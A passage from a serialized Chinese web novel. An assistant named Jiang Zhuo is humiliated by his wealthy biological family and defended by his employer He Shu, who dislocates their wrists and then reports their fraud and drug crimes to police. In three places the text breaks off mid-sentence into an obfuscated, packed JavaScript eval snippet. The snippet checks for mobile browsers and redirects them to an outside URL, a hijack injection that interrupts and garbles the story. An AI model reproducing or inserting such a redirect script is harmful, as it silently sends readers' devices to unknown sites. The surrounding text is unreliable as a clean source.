“姜灼?”宋父开口打断了他的话,皱着眉头上下打量着他,目光里是毫不掩饰的倨傲,“你怎么在这里?” 姜灼神色不变,声线很稳:“我是梁董的助理,这位先生有什么问题吗?” “你?梁董的助理?”一旁的宋母像是听到了什么世纪玩笑,优雅地掩了掩嘴角,随即蹙眉呵斥,“你还是快回姜家吧,别在盛丰这里丢人现眼,我们宋家可丢不起这个人。” 她话音刚落,便好像意识到什么一般惊讶地看着他:“你不会是偷偷溜进来的吧?冒充梁董的助理就为了见我们一面?” 宋父眉间的痕迹很深,弹了弹西装衣摆上不存在的灰尘,居高临下:“想要多少钱私下说,别跟我耍这一套,我们来这里是有正事,没空和你掰扯。” 一身名牌的“贵公子”宋忆辰扯了扯宋父的衣袖,有点局促地笑道:“爸妈,你们别这样……弟弟肯定是遇到了什么难事才来找我们的……” 如果是以前的姜灼,听到这些话八成会气得浑身发抖、心如死灰,但现在他内心毫无波动,好像只是被几只苍蝇在耳边嗡嗡了一阵,仅仅稍微有点恶心。 但这些苍蝇是先生的客人,他暂时还不能一巴掌拍死或者赶跑。 作为一个专业的精英助理、先生未来的得力助手,姜灼心里早就被更重要的事填满,不会再把这些烂人破事放在心上:“各位客人,如果没什么事我就先走了。” 开玩笑,与其听他们在这里嚷嚷,不如花点时间研究一下沈秘书交给他的文件、或者养心补神的药粥。 “亲生父母”的阴阳怪气在耳边飘过,他神游天外地盘算着粥里的山药要选哪一种。 正巧,有同事从门外探头进来:“姜助,现在有空吗?沈秘书好像找你有事。” 姜灼点头:“我这就去。” “等等!”宋父突然开口叫住了他,狐疑地看了看门外的同事,“你、你真的是梁董的助理?” 姜灼给同事打了个手势让他先走,耐着性子回复:“是的,客人你还有什么事吗?” 宋父这才第一次正眼打量自己这个“亲生儿子”。 少年的身躯原本因营养不良而瘦得像麻杆,经过何殊这么多天的精心照料已经长了点肉,苍白的脸上也带了健康的红润。洗出破洞的衣裤换成了崭新的衬衫休闲装,是何殊亲自给他挑的,合身俊挺、品味极好,衬得少年身姿挺拔,像一株生机勃勃的小白杨。 原本死气沉沉、满含戾气的双眼也如温水洗过一般,所有伤人伤己的尖刺尽数收敛,只剩漆黑明净、神采飞扬。 就连横亘眉毛的那一道伤疤也不那么吓人了,而是给看起来沉稳不少的少年增添了一份威慑力。 何殊把他养得很好。 好得宋父都快不认识他了。 这真是那个姜灼?真的是……自己那个不成器、根本不想认回家的混混儿子?以前怎么没发现这小子长得这么俊,好好收拾一下还挺像个少爷样的…… 宋母大概也有同样的感受,打量着他的目光变得越来越惊疑。 诡异的气氛里,宋忆辰一个箭步冲上来攥住了他的胳膊:“阿灼……” “宋少爷,请叫我姜助理。”少年语气很客气,动作却一点不客气,不由分说地把手臂抽了出来重重拍了拍,仿佛被他碰一下都难以忍受。 “咳,小姜,我知道你还在怪我。”宋忆辰尴尬地笑了笑,脸上透出点示弱的意味,“四个月前的那件事…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13458791|141637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是该向你道歉……” 他说的是在车祸里冒充梁衡的救命恩人一事。 梁家兄妹的态度摆在这里,再蠢的人也能猜到真相早就败露了。宋忆辰还挺能沉得住气,也或许是自知丢脸,一直来没找姜灼的麻烦,直到今天才重新提起。 姜灼皱了皱眉:“宋少,你给我的钱我已经全部还给你了。” 他并不想提这件事——这大概是他这辈子做过的最蠢的一件事。 他居然差一点把宋忆辰这个居心叵测的小人推到先生身边? 差一点、真的只差一点,先生就要被他蒙蔽、被他伤害了,他一想到那种可能,就恨不得穿越回过去把自己掐死。 “看你说的,那些钱是爸妈给你的生活费,拿着就好,还给我干什么?”宋忆辰好像不知道他的嫌恶一般,又上手紧紧攥住了姜灼的胳膊,用的力道出奇的大,姜灼一时挣脱不开,已经感觉手臂发疼。 但宋忆辰的表情却是一如既往的谦卑温和、甚至带了点苦口婆心:“小姜,虽然你不理解我,但我还是要说,我可都是为了你好……” “梁董是什么身份,你又是什么身份?”他很无奈地叹了口气,好像在纵容不听话的弟弟,“你只是个无依无靠、无权无势的小混混,靠坑蒙拐骗为生,家里乱成那个样子,带着好几个拖油瓶……什么都没见过、什么都没有,你能给梁董什么?你又能从他那里得到什么?” “你不过是想要钱而已,用得着找上梁董么?爸妈给你的钱还不够你花?” “梁家的水,可比你想象的要深得多。” 他的右手铁箍一般紧紧箍着少年的胳膊,“只有我才能应付得来,只有宋家才能和盛丰实现利益共赢……你懂么?唉,要不怎么说你没见识呢,我觉得你一点都不懂……” “就算梁董现在施舍给你一个助理的职位,你觉得你能应付过来吗?”宋忆辰嘴角带着苦恼的笑,眼底却闪过分明的恶意,“你应付不过来的,你只是个什么都不会的小混混、坏孩子,没有人会喜欢你的,你知道么?梁董也不会喜欢你,你在他眼里只是个早晚要甩掉的累赘。” “你说你这是何苦,按照咱俩原本的计划、把救命恩人这个身份让给我不就行了?这样盛丰和宋家都能获利,你也不用在这里遭人厌恶……” “小姜,都是因为你啊,”宋忆辰摇了摇头,“都是因为你的任性和自私,让这一切都毁了,所有人都没能得到自己想要的。” 他的话术非常有技巧,明明全是歪理邪说,却偏偏能把所有的责任推到无辜少年身上。 宋父宋母在听了他的这番话之后,脸上的表情变得极差,刚刚冒头那一点惊艳也荡然无存。 “没错、没错,忆辰说得对,”宋父抬手指着姜灼,快要戳到他的鼻尖,“都是因为你,宋家才到了这个地步!你这个扫把星,我宋承宇怎么会生了你这么一个混账儿子!” 姜灼:…… 再沉稳成熟、再好脾气的人听了这么一番恶毒的指控,也不能保持心平气和,更何况姜灼还是个血气方刚的少年。 他的手开始无意识地抖,太阳穴也一跳一跳地疼,有很久没感受过的戾气慢慢攥住了他的喉咙。 ……不行,他们是先生的客人,是公司的客户,他不能给先生惹麻烦。 他已经发誓要当好一个助理,不会让先生再替他操心。 少年摸了摸手腕上带着的平安扣,温凉的玉质让他想起先生掌心的温度,和轻轻揉他头发的力道。 这点已经刻入骨髓的轻柔触碰让他的心平静了许多,那些恶毒的话也远了、淡了。 没关系的,他可以忍。 不过是一点污蔑和指责,他已经习惯了,把这些人嘴里的话都当作放屁就行。 况且他比谁都清楚,宋忆辰是故意的。 他不会再上他的当了。 宋忆辰等了许久,都没等到姜灼忍无可忍一拳揍上来,少年自始至终都很冷静,连句粗话也没说。 他疑惑地挑了挑眉,不明白这小子怎么忽然这么能忍了。 明明这是他屡试不爽的伎俩——用点表面有理实际诛心的话刺激姜灼,故意激他出手,然后就能在父母和其他人面前倒打一耙,将自己包装成友善的受害者、而姜灼是脾气暴躁的暴力狂。 他就是这么一步步让姜灼成为众矢之的的。 可现在——这个方法怎么突然不管用了? 就好像是有人教过这小子一般……教他沉稳,教他冷静,教他不要陷入旁人的陷阱,用很多温柔与爱把他的心填得很满,再刻薄的刀锋也不能插进分毫。 难道真的有人肯好好养这么一个讨人厌的小混混? 宋忆辰眯了眯眼,不太想相信。 他忽然注意到了少年手上带着的红绳,面露愕然:“你手上这是……羊脂白玉?!你哪来这么贵重的东西?” 他猛地扯住了那根红绳:“你在哪偷的?是不是梁家?还是我们宋家?不行,跟我去公安局弄清楚,你怎么可能买得起这么贵的东西……” 他还没说完,手腕忽然一阵软麻,接着是骨裂般的剧痛,不得不松开了对少年的钳制。 一旁指着姜灼鼻尖谩骂的宋父也忍不住跟他一起痛叫了出来。 出现在少年眼前的那双熟悉的手清瘦有力、且极为礼貌,同时和父子二人分别握了个手,可能因为过于激动没把握好力度,把人握得腕关节都脱臼了。 姜灼浑身一震,恍然回头:“先生!” 开完会立即赶来的何殊站在他身后,对着他露出安抚的笑,把他往怀里拢了拢。 苦涩的香气将他包围,很柔和很令人安心。温和的嗓音带了点无奈,在他耳边轻声道:“怎么这么乖……这都不还手?” 姜灼愣了愣,有点脸红:“我……” “不过也没关系。” 那双刚刚把人拧脱臼的手此刻像是最温柔的风,力道很轻地揉了揉他发红的耳朵,哄着他,“没关系,先生替你还手。” 何殊抬起头,对着宋家的三个人心平气和地笑了笑。 “这是我的助理,也是我弟弟,刚认的,还没来得及介绍。” “他手上的白玉是我送他的小礼物,不值钱,怎么,宋少爷也想要?” “宋家破产了吗,要来抢我弟弟的东西?” “哦,刚刚握手力气没把控好,两位应该不至于脆皮到这个程度吧?我身体不怎么好,手上一直没什么力气的。” 他很冷静、很温和地笑着,语气温柔得能滴出水来。 “几位还有什么其他的问题么?” “没问题的话,就滚吧。” 13. 你在生气吗 何殊觉得自己可能有点矫枉过正了。 也或许是少年的本质比他想象的还要乖。 他收起姜灼手里的刀,是不想让他伤了自己,也是希望他不要什么事都用最极端的方式解决,因为那样注定不能长久。 但不是让他遇到欺负都不还手、为了不给他添麻烦就默默忍受那些无端指控。 虽然何殊很欣慰少年成长了许多,能很好地控制自己的情绪,也不再把过去的那些阴影看得很重——但有些事没必要忍耐。 他家的小朋友,有他罩着,本就有撒野任性、爱憎分明的资格。 他来教阿灼如何耍威风。 “不想滚的话,就和我弟弟道歉。” 何殊靠在沙发上,一手揽着少年的肩膀,姿态是显而易见的松弛和亲昵,也让闻讯赶来的那位盛丰高管头上冷汗直冒。 何殊本没有和宋家人见面的打算,已经拒绝了这几个人不知多少次的求访。宋家夫妇还是托了关系找了门路,给这个高管塞了不少钱,才勉强挤进何殊的约见名单。 何殊没有任何必要给他们面子。 高管擦擦冷汗,点头哈腰连连道歉,然后将宋父扯到角落里低声呵斥:“你们来这里到底是干什么的?不是说要请梁董对你们宋氏高抬贵手吗?在这里欺负一个年纪那么小的助理,你们这是求人办事的态度?!” 宋父的手腕还软软垂着,疼得脸色煞白,却大气都不敢出:“但这个小兔崽子……” “什么小兔崽子,那是我们梁董的心尖肉!”高管恨不得堵上他的嘴,“盛丰上下谁不知道,那孩子最近得梁董青眼得紧,是被他带在身边手把手教着护着的!你惹谁不好,偏去惹他?” 他这话如平地惊雷,炸得宋家三人一愣一愣的,眼神充满了难以置信。 那明明是个被所有人看不起的小混混,连宋家的门都进不了,怎么突然这么有出息了?居然能被梁衡这种人物看在眼里? “不过还好,梁董给了你们台阶下,”他推了一把宋父,“还不快去给那孩子道歉?这是你们最后的机会!” 宋父瞪大了眼,面露惊愕:“什么,让我去给那个……那个小混蛋……道歉?!” 高管面露冷色:“宋总,你若还这么执迷不悟,宋氏就等着被梁董收购吧。” “我也不是万能的,”他说,“能让你们见梁董一面我已经冒了很大的风险了,这样的机会绝不会有第二次。” 宋忆辰在一旁听到了他们的对话,握着脱臼的手腕,死死盯着坐在沙发上的少年,再也无法维持温和的假面,目光阴沉得好像淬了毒。 但姜灼没注意他们在嘀咕什么,也没看到宋忆辰恶狠狠的目光。他从先生出现的那一刻起,眼里就再也容不下别人。 何殊好似漫不经心地向那几人亮了亮腕表:“我的耐心是有限的。” 但其实他垂下头,很悠闲地与自家小朋友说悄悄话:“怎么才能让你出气?让他们道歉,还是直接赶走?或者干脆把他们另一条胳膊也卸了……” 姜灼被清瘦有力的手臂稳稳环着,先生说话间温热的吐息落在耳后,把他整个人都烫熟。 “咳……”他连脑子都在冒热气,负荷高得快不会转了。有点艰难地理解了先生的这句话后,他没忍住扯了下嘴角,方才那点郁气荡然无存,“可以卸他们胳膊?” “可以。”何殊揉他的头发,用霸道总裁般的语气说,“尽管卸,我兜着。” 姜灼一动不动乖乖让摸,低声笑了出来:“先生……你在生气吗?” 何殊摸了摸自己的脸,故作惊讶:“能看出来?” “能看出来。”少年笃定地点头,望向他的眼睛里亮晶晶的,“先生以前从没这样说过话。”也没和别人动过手。 先生是在为他生气、也是为他动手。 何殊饶有兴致:“怎样说话?” “挺凶,挺霸道,有点像我们这种人,”少年有些躲闪地避开目光,嘴角却还在上扬,“有点……不那么像‘好孩子’。” 何殊被这句话逗笑了:“我和你本来就是同一种人。”他点了点少年的掌心,带来微痒的骚动,“还记得吗?我们可是击过掌的战友。” 少年替他面对梁家股东的刁难,他也自然会替少年应对亲生父母的苛责。 他们将后背彼此交付,在这个不那么完美的世界上灵魂相拥,就再也不会孤军奋战。 感觉怀里的身子有些异样的僵滞,何殊收紧了环着少年的手臂,任凭炽热发烫的呼吸略带颤意地洒在颈间。 “其实我还会很多‘不那么好孩子’的东西,”他煞有其事地说,“比如怎样揍人最疼,还能不留一点痕迹……就像只需使个巧劲就能把人手腕拧脱臼一样,半个小时后就会自动恢复,方便快捷无负担,是报仇揍人的必备技巧。” 他朝还在角落里争执的那一家三口使了个眼色,悄声道:“你想学吗?我教你,正巧那边还有几个现成的手腕供你练习。” 听到这话,G16的代码崩了一地又艰难捡起拼好,声若蚊蚋地提醒:【宿主大人你……真的不会把好好的一个孩子教坏吗……】 何殊对自己的教育方法颇为自信:【怎么会,我家孩子都是这么教的。】现在没一个不是好孩子。 姜灼:…… 先生在他心目中温文尔雅、文质彬彬的君子形象有点岌岌可危了。 但不那么完美的先生……会生气、会悄悄使坏、会利落地揍人,有那么一点点促狭的先生,好像更帅气更生动、更让他喜欢得不知怎么办才好。 好像原本只能遥遥仰视的神明主动走下神坛、来到他的身边,与他一起嬉笑怒骂,用行动表示“我们是一样的人”。 那点不可言说的欲念被近在咫尺的体温悄然放大,他把头埋在先生的肩膀上闷声喘息,紧紧攥着先生的衣角,完全忘记了房间里还有其他人存在。 有那么一瞬间,他真的很想在这一刻、就在这个怀抱里幸福地死去。 怎么办,他到底该怎么办,他快要忍不住了。 他是那么卑鄙自私,痴心妄想。 作为一个被幸运垂青的信徒,他居然想把他的神明藏起来。 可能是藏到最温暖最舒服、不用工作不用操劳、可以天天睡大觉的房间,也可能是直接打开胸腔倒出心肝脾肺,把这个人塞进去再合上。 …… 最终,宋家三人还是被礼貌地“请”出了盛丰大楼。 宋父和宋母倒是肯为了自家企业“忍辱负重”,捏着鼻子向姜灼道了歉,但宋忆辰却是从头到尾阴沉着一张脸,无论父母和盛丰高管怎么劝说都死活不开口。 为此,表面上一向父慈子孝的宋家人爆发了一次不算小的争执,可谓丑态百出。 面对已经神色不耐的何殊,宋父快要急疯了,也非常不理解一向温顺听话、低调谦卑的儿子这是怎么了:“小辰,你不是一直都很让着弟弟吗?你不是说只要他开心你怎么样都无所谓吗?怎么只是让你道个歉,你就不愿意了?” 宋忆辰:…… 那只是他为了博得父母偏爱、以此衬托出姜灼粗暴无礼的绿茶发言,谁要当真啊?! 他死死盯着沙发上那个穿得比他都好、被人好好宠着护着、看起来比他都幸福的少年,目光里再也无法掩盖的嫉妒怨毒让宋父宋母都被吓了一跳。 让他向这个小混混道歉,做梦。 他才是宋家少爷,他才是人上人,他一辈子都会踩在姜灼这个所谓“真少爷”头上。 这个早就该死的不良少年、肮脏下贱的低等人、忽然出现要夺走他一切的入侵者……如果不是这小混账擅自毁约,把车祸真相说了出去,梁董的关注和盛丰的一切本该是他的。 这一切本来就该是他的,他早就计划好了——借这个机会得到梁董的青眼,让没落的宋家起死回生,说不定还能得到梁宁大小姐的芳心……谁都心知肚明梁董的身体撑不了几年,到时候整个盛丰都是梁宁的——梁宁的,不就是他的?一个无依无靠的小姑娘要怎么和已经强大起来的宋家、还有被他收买的盛丰股东们抗衡?到那时他想得到盛丰岂不是易如反掌? 他明明全部都计划好了,连怎么哄骗梁宁、怎么收买股东都想好了!却全都被这个小混混给毁了! 何殊哄好了自家小朋友,漫不经心地抬头,与那双阴毒的眼睛对上,平和沉静的目光没有丝毫波动。 宋忆辰却突然感觉后心一阵发凉,被仇恨烧得失去理智的脑子像被冰棱狠狠刺穿,连血液都瞬间冷却。 他慌乱移开目光,再也不敢与那双仿佛看透了他所有肮脏心思的褐色眸子对视。 “……你难道不知道我们宋氏现在是个什么情况?”宋父还在压低了声音斥骂自己一向疼爱的儿子,“梁董已经对宋氏动了心思,如果他不主动收手的话,我们就真的完了!” 宋母也帮腔:“是啊小辰,梁董这些天查出了那么多东西,我们可承受不起啊……你怎么也开始不听话了?只是道个歉而已又不会让你掉块肉……” 何殊颇有深意地笑了笑,目光在宋忆辰和宋父宋母之间逡巡,带了点兴味。 他发现了点有趣的东西。 宋家夫妇好像还不知道他们这个养子的真面目,他们的亲子感情也没有牢固到超越利益的牵扯。 于是在保安将这三人赶走之前,何殊独独留下了宋父,连姜灼也被他暂时哄走了。 宋父喜出望外,以为自己的事情还有转机:“梁董!我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也不觉得亲生父母不认自己的行为值得唾弃,反正没任何感情,他们老死不相往来就好了。他所厌恶的是亲生父母对他自尊的践踏、那些高高在上的侮辱和贬低。 少年一直都是这么好这么宽容,是那些人有眼无珠,是那些令人心惊的恶意让这颗明珠蒙了尘。 知道这个信息之后,何殊非常识趣地又向李洪许了点好处,喜笑颜开的李三爷立马将宋忆辰在赌场签的一摞欠条一并给了他。 还旁敲侧击地暗示他,让他去查查宋氏的资金流水。 何殊暗中调查之后,发现宋氏的财务报表上漏洞百出,逃税、做假账、抽逃转移资金……层出不穷,早就是个被蛀虫蚀空了的朽木,能摇摇欲坠地支撑到现在没被有关部门发现,全靠宋家人娴熟的假账技巧和宋忆辰的男主光环。 种种乱象之下,宋忆辰偷偷转移公司资金、将自家企业的商业机密出卖给他人来还赌债——也不那么容易被人发现了。 至少宋父到现在都没查出来,公司账户上经常莫名其妙消失的钱究竟是去了哪里,宋氏里的内鬼又究竟是谁。 也难怪宋忆辰这么急着搭上梁家这棵大树,还使出浑身解数也要将梁宁拿下。 如果没有盛丰的帮助来填补漏洞,他可是要进局子的。 何殊只是在查到这些事后透了点风声,向市场暗示宋氏的情况不对劲,宋氏的股价就一跌再跌,宋家人也坐不住了,挤破头皮也要来盛丰求他高抬贵手。 而交给宋父的那个档案袋里,装着的就是宋忆辰在赌场欠下的天价债务,以及他转移公司资金、窃取商业机密的确凿证据。 宋父还不知道,他引以为傲的养子、在外光鲜亮丽的宋家大少爷,背地里是个赌鬼和内鬼。 何殊本来想拿着这些证据直接报警,并没有交给宋父的打算。但经过今天这件事之后,他忽然觉得先看场窝里斗的好戏似乎更有意思。 至于那些资料会在宋家引起怎样的狂风暴雨、地动山摇,宋忆辰又会是什么下场……就不在何殊的考虑范围之内了。 他现在发现了更值得注意的事。 在和宋忆辰“握手”时,他从对方身上闻到了一股浅淡的、怪异又熟悉的气味。 ——和梁仁峰、姜通海身上一模一样的气味。 事情变得越来越有意思了,看来宋少爷不仅仅是赌鬼和内鬼,还极有可能是个瘾/君子。 何殊把宋父打发走之后,给受他委托调查梁仁峰和宋氏的私家侦探们打了电话,确认了一下目前手里的所有证据,然后亲自驾车去了公安局。 让他放过宋家?简直是笑话。 14. 山雨欲来 何殊带来的证据在警局引起了不小的轰动。 盛丰大股东、宋氏家主及公子都是S市有头有脸的人物,举报他们偷税漏税、职务侵占、挪用资金、吸/毒贩/毒……桩桩件件都不是小罪名。涉及两个巨无霸企业和警方一直在追查的毒/贩团伙,已经称得上惊天大案。 再加上何殊这个报案人的身份不是一般的显赫,与他所举报的梁仁峰又是亲戚关系,如果证据属实,可以预见到会在S市引起一场怎样的地震。 连新闻标题都想好了,《盛丰掌门人大义灭亲,自曝家丑亲剜烂疮?豪门争斗暗藏玄机?》、《震惊!百年宋氏竟成朽木,是人性的悲哀还是道德的沦丧》…… 这么一想,警员们看向何殊的眼神都敬佩了不少。 但毕竟事关重大,对于何殊带来的证据,警官们还需要进行核实和调查,说不定还能顺藤摸瓜找出其他潜藏更深的犯人。局长亲自出面与何殊握了手,就此达成合作的协议,表示局里会成立专案组,请他配合警方一起行动。 这种涉及不少上流人士的案子,有何殊这样身份的人协助的话会好办得多。 何殊没什么异议,只有一个条件,警方要随时和他交换信息。 于是负责招待何殊的警官向他透露,自他上次举报姜通海吸/毒之后,警方已对姜通海进行了讯问和排查,想顺藤摸瓜找出向他出售这些新型毒/品的贩子。几番周折、辗转了几个下线之后,警方最终锁定的几个犯罪嫌疑人之中就有宋忆辰,与何殊的发现不谋而合。 看来宋少爷不仅仅引诱姜通海赌博,还引诱他成为了瘾君子,当真是蛇鼠一窝。 何殊离开警局的时候已经是傍晚,天边被乌云密密压着,街边的树木在乍起的晚风中投下狂舞的阴影。 黑云压城,山雨欲来风满楼。 “梁先生,”那位姓林的警官送他离开,边走边说,“根据方才的讨论,我们怀疑梁仁峰和宋忆辰背后有更大的黑手。” “虽然以您的身份,有些东西您调查起来会比我们更方便……但我不赞同您这么做。” 林警官强调:“背后的那个人很可能是个极度危险的毒/枭,不排除持有枪械,您的安全是第一位的。” 何殊礼貌地笑笑:“多谢提醒。” 他想了想:“我的安全我会注意,但如果警方有余力的话,希望能关照一下我妹妹梁宁那边。” “她还小,还在上高中,而且不在我身边,别让我这里可能发生的危险影响到她。” “当然,如果不行的话也没关系,我会多派几个保镖过去。” 林警官答应下来,把他送到了警局大楼的门口,看着阴沉的天色有点不放心:“要不我开车送你回去?” 何殊与他儿子差不多大,在这位年长警官的眼里没有什么家主董事长,只有一个很热心很有正义感、看起来很需要照顾的年轻人。 与自己那个生龙活虎的儿子相比,这位梁先生实在苍白瘦削得让人担心。 “轰隆——” 天边响起一声惊雷,豆大的雨点顷刻间倾盆而下。 湿冷的风鼓起风衣的后摆,涌进肺里,惹得何殊咳嗽了几声,然后笑着挥了挥手机:“没事,有人来接我。” “先生!” 漆黑天幕之下,一道白光划过天际,林警官看见有人举着伞,逆着光向他们跑来。 他看清了来人,面露惊讶:“这是那个叫姜灼的孩子?” 两个月前的那个雨夜,在姜通海家暴的案子里,是林警官给姜灼做的笔录,对这个身世可怜的少年印象深刻。 “他是我的助理,”何殊向他介绍,林警官转头看他,发现那双始终温和疏离的眸子里有了不一样温度,“也是我刚认的弟弟。” 林警官看着裹着一身寒气飞快跑过来的少年,有些感慨:“这孩子和两个月前相比,变化太大了。” 那个时候的少年浑身血污瘦骨嶙峋,苍白得像只厉鬼,或是受伤后发疯的野兽,黯淡无光的眼里全是尖锐的刺。而现在的他穿着干净合身的白衬衫,脸色是很健康的红润,手腕上带着红绳平安扣,浑身的戾气荡然无存,黑亮的眼里有生气勃勃的光。 看起来很乖,很像是在那种幸福家庭里被宠爱着长大的孩子。 林警官两个月前就见识过少年对何殊的依赖,现在看着那孩子眼里明晃晃地只有一个人的影子,哪会不明白这些变化都是谁的功劳:“梁先生,你真是个好人。” “你把这孩子养得很好,救了他一辈子。” 何殊笑了一下,没来得及回应他,就张开手臂接住了扑到他怀里的少年。 少年只在他怀里蹭了蹭就有点着急地抬起头,仔细地看着他的脸色:“先生,你来公安局做什么?是不是出什么事了?我一接到你的信息立刻就过来了,你有没有事?雨太大了,你冷不冷,心脏难不难受……啊。”他连珠炮一样问了半天,才突然发现旁边还站着其他人,瞬间从脖子红到了耳根。 他手忙脚乱地站好,局促得手都不知道往哪里放,被先生搂着温柔地擦去脸上的雨水:“这位是林警官,你见过的。” 少年很乖巧地问了好,小心翼翼地扶着先生的手臂,侧了侧身子为他挡着从门外涌来的雨水和风:“先生,你还没回答我呢,是不是出什么事了?” “没事,只是一点公司账目上的问题,来公安局备个案,”何殊笑了笑,“林警官,我没说错吧?” “啊……对对对,”林警官愣了一秒反应极快,也换上了轻松的表情,“没什么大事,还麻烦梁先生亲自跑一趟。” 他目光慈爱地看着姜灼笑:“这天气太冷了,好孩子,快和你哥哥回家吧。” 少年愣了愣,心脏往胸腔上撞了一下,抬起头眼神亮晶晶地看着先生。 “哥哥”、“回家”……他很喜欢这样的词,每次听到都开心得想落泪。 他是有哥哥、有家的小孩,他恨不得让全世界知道他的家有多好。 何殊揉他的头发:“我们这就回家。” 然后接过他手里的伞,牵起他的手,和林警官道了别。 漆黑的雨幕中,撑着伞的身影清俊挺拔,瘦得风衣都空荡,也走不了太快,但被身边的少年稳稳扶着、絮絮叨叨地嘘寒问暖,就不再叫人担心会不会一阵风就把这个人吹跑。 那把伞本来是悄悄地向少年倾斜,但很快被对方发现,不由分说地抢过了伞,很偏心地朝另一边倾斜了大半,自己半边身子都被淋透。 年长的那个撑着额头无奈地笑,伸手揽着少年的肩膀,将两个人合成一个密不可分的影子,一同依偎在伞下,在仿佛要淹没天地的雨水中如一叶漂泊的孤舟。 仿佛漂着漂着,就能这么漂过一辈子。 林警官目送那两个相互依偎的背影上了停在门口的车、然后越来越远,不知不觉眼眶有点发热,可能是在为那个没被世界偏爱过的少年、也可能是为那个看起来很孤独的青年而高兴。 “唉……”他叹了口气,抬头看着遮天蔽日的乌云,“这样多好,希望什么事都不要发生。” / 最近几天,宋氏的股价跌得不成样子,可奇怪的是没见一个宋家人出来有什么动作。 不管是身为掌门人的宋父、还是喜好交际的宋母,甚至连本职工作是演员的宋少爷都被停了全部的合约不见人影。整个宋宅都静悄悄的,大门紧闭,不知道出了什么事。 就这么过了三天,在宋氏股价跌到低谷、股东们纷纷上门抗议的时候,宋父才重新露面。 一向西装革履矜持倨傲的他好像一下子老了十岁,脸上多了许多深壑,神色阴沉又疲惫地宣布,自己的儿子不会再在国内发展,他将被送出国。 不知从哪里传出的小道消息称,宋少爷被人抓住了把柄,与宋氏的利益牵扯极大,甚至可能涉嫌刑事犯罪,宋总送他出国是为了逃避法律追究。 此话一出,宋氏的股东们怎么可能会眼睁睁地看他出国逍遥,纷纷向宋父施压,要求他把一切都解释清楚,否则出国这件事想都别想。 墙倒众人推,在宋父焦头烂额的时候,网上又不知何时开始传起了宋少爷作为艺人的黑料。 宋忆辰是演员也是明星,在娱乐圈也从未掩盖过自己富二代的身份,立的一直都是“谦逊有礼豪门贵公子”的人设。但一个人的本性是无论如何无法长久掩盖的,这种人设骗骗距离遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13458793|141637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的粉丝还好,却骗不了同在娱乐圈的其他艺人和工作人员。 很多人都对宋忆辰的一些做派很看不上眼,但因为宋氏在娱乐圈颇有势力,没有人敢发声。 现在宋氏股价跌得不能看,一副日薄西山的模样,宋忆辰也不知怎么的惹上了一身官司,看样子短时间内不会再复出了,正给了那些忍气吞声很多年的同行们一个倾倒苦水的机会。 耍大牌、苛待助理、擅自违约等都只能算是不起眼的小事,私生活混乱、潜规则女星、伪造阴阳合同逃避缴税等一个个大瓜足以让人吃到撑。 一时间,原本被人争相巴结的宋少爷成了圈子里的过街老鼠,人人喊打,人人都能踩上一脚。 本来这件事与何殊是没什么关系的。 他把那些证据给了宋父,又放出消息阻止宋忆辰出国,本来就是想看这场好戏,好给他家的小朋友出口恶气。 但娱乐圈的事并不是他的手笔,完全是宋忆辰自己作孽的下场。 可沈秘书特地向他报告了这件事,还把一个已经被推上热搜的帖子转发给了他。 他看了才知道,这场娱乐圈风波竟然还牵扯到了姜灼。 那个帖子的楼主自称是电影《黎明》剧组的工作人员——《黎明》是宋忆辰的成名之作,他以此获得了不少奖项,也从此彻底摆脱了“花瓶”的头衔。这部电影也是他的粉丝在面对说他没有演技的言论时,常常会甩出来的必杀武器。 “你没看过《黎明》?你没为陈希流过泪?” “能演出陈希这样的角色,你管这叫没有演技?!” 通常没有人能够反驳,因为《黎明》里的男主角陈希实在是让人难以释怀。 陈希是被人抛弃的孤儿,因为脸上有一块丑陋的胎记而一直遭人欺辱误解,被一个捡垃圾的瘸子收养虐待,就这么跌跌撞撞地长大。长大后的陈希做过帮/人/讨/债的混混,下过苦累脏污的矿井,受过伤流过血,即使心地善良帮过很多人,却因为相貌没有人愿意相信他是个好人。 刚刚被他从强/奸犯手里救下的女孩,在看到他脸的那一刻尖叫一声就逃走了。 后来,他运气很好地抓住了时代的机遇发了财成了大老板,脸上那块胎记从恶心的凶兆变成了他人口中的福相。 唯一不变的是,依旧没有人相信他是个好人。 于是陈希终于冷了心,立誓不再向他人伸出援手。 陈希在商海浮沉,越来越不择手段,挣再多的钱却都填不上内心的空虚。常常一个人呆在空旷的别墅里煎熬,没有成家立业没有奢侈挥霍,他不知道自己活着究竟有什么意思。 最后的结局是,陈希一日在赶往公司的途中看到了一个落水的孩子,或许是被炎凉世事掩盖住的天生良善、也或许是对这脏污人世的再无眷恋,他选择伸出了援手,自己却在把孩子推上岸后放弃挣扎沉入了水底。 这么一个受尽苦难的复杂角色,从小养尊处优的宋少爷却出乎意料地演得很好。 这部电影里,宋忆辰被称赞“连后背都有戏”——因为里面被截取出的经典镜头全都不是正脸,要么是侧脸要么是后背,却往往有比正脸镜头更摄人心魂的效果。 